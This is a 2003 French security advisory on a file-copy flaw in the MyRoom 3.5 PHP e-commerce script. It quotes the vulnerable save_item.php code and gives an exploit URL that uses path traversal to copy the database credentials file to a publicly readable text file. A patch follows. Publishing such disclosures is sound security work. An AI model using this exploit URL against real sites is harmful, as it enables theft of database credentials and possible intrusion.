MyRoom ****** Informations : °°°°°°°°°°°°°° Langage : PHP Website : http://www.plansbiz.net Version : 3.5 GOLD Problème : Copie et upload de fichiers Developpement : °°°°°°°°°°°°°°° MyRoom est un script d'e-commerce contenant une partie membres et admin, permettent l'affichage, l'ajout et l'achat d'articles,... La faille se trouve dans room/save_item.php. Cette page sert à ajouter un article à vendre, avec son nom, son prix... et ... une image d'où la faille. On peut voir dans ce fichier le code suivant : ------------------------------------------------------------------------- if($name == "" OR $ref == ""){ echo "You are fogot enter your 'ITEM NAME' or 'ITEM REF NO' !"; echo "
"; echo "Try Agains [ Click Here ]"; exit; } ------------------------------------------------------------------------- Première condition, il faut que $name et $ref ne soient pas vides. Directement après on peut voir : ------------------------------------------------------------------------- if($photo!="none" AND $photo!="application/octet-stream"){ //get type of file $filetype=$photo_type; //get lenght of image type $filelenght=strlen($filetype); //get part of file image to build image extension $pos=strpos($filetype,"/")+1; //build extension of image $fileextention=substr($filetype,$pos,$filelenght); if($fileextention=="pjpeg"){ $fileextention="jpg"; } ------------------------------------------------------------------------- Deuxième condition, il faut que $photo soit different de "none" et "application/octet-stream". On voit ensuite qu'une extension est créée. Le code est construit de telle façon que si on veut que $fileextension soit "gif", il faudra rentrer comme valeur à $photo_type "ggif". On voit ensuite : ------------------------------------------------------------------------- $image=date("YmdHis"); $image.=".".$fileextention; $imgpath = "$imgroot"; //if image exist, upload it in correct dir if($photov<>"none") { if(!copy($photo,"$imgpath/$image")) { //display errors $msg="
File Not Uploaded, it might be too large or does not exist..
Please Try Again!
"; break; } //or finish else { dbconnect(); $sql= "INSERT INTO room_item SET it_photo='$image', it_name='$name', it_decs='$decs', it_ab='$album', it_ref='$ref'"; mysql_query($sql) or die(mysql_error()); echo ""; echo "
Your File Was Uploaded Sucessful!!

Loading ......"; } } ------------------------------------------------------------------------- Ici on voit que le nom du fichier sera la date de cette façon : YmdHis, ce qui nous empêche de pouvoir y accèder directement, le nom étant trop précis. Ce nom sera suivit de l'extension définie dans $fileextension. On voit ensuite que le script tente de copier le fichier définit dans $photo dans le fichier définit par $imgpath/$image, $image étant le fichier dont nous avons observé la création du nom. $imgpath est /img/photo/. Si la copie est réussie, on enregistre le nouvel article dans la base de donnée et on affiche "Your File Was Uploaded Sucessful!!". La première possibilité avec ce script est non pas d'uploader une image comme c'en est le but premier, mais bien de copier un fichier du disque dur dans un dossier et avec un extension permettant à n'importe qui de le lire. Un fichier qu'un attaqueur pourrait trouver interessant de lire est le fichier /inc/conf.php, contenant le nom d'utilisateur de la base de donnée ($username), le password ($password), le serveur ($host) et le nom de la base ($database). Comme c'est un fichier php, les sources ne sont pas visibles, contrairement à si c'était un fichier txt. Le but va alors de tansferer conf.php dans un fichier txt. Pour cela, il suffira d'utiliser le code vu dans save_item.php, et de composer une url du type : http://[target]/room/save_item.php?name=hacked&ref=hacked&photo=../inc/conf.php&photo_type=ttxt Le fichier inc/conf.php sera alors visible dans un fichier dont l'url sera du type : http://[target]/img/photo/20030114015123.txt Pour savoir l'url exacte, il faudra taper (et ce n'est possible que si on est membre) une url du type : http://[target]/room/index.php?show=search&search=it_name&item=[NAME] [NAME] étant la valeur choisie pour la variable $name dans la copie du fichier, c'est à dire dans notre exemple "hacked". Il serait eventuellement possible, mais je n'ai pas testé, d'uploader des fichiers .php ou autres sur le site, et donc de faire executer le n'importe quel code avec les droits et restrictions du serveurs. Patch : °°°°°°° By Charlie (croweye@n-picture.net) : Dans save_item.php, après le code : ------------------------------------ if($fileextention=="pjpeg"){ $fileextention="jpg"; } ------------------------------------ Placer les lignes : ---------------------------------------------------------------------------------------------------------- $strs = explode(".",$photo); $count= count($strs); $k = $strs[$count-1]; if( $k!="jpg" AND $k!="gif" AND $k!="png" AND $k!="bmp" AND $k!="jpeg" ) die("Authorized extensions are .gif, .jpg, .png, .bmp, .jpeg"); if( file_exists($photo) ) die("Wrong path."); ---------------------------------------------------------------------------------------------------------- Un patch est disponible sur http://www.phpsecure.info. Credits : °°°°°°°°° Auteur : frog-m@n E-mail : frog-man@frog-man.org Website : http://www.phpsecure.info, http://www.frog-man.org Date : 18/01/2003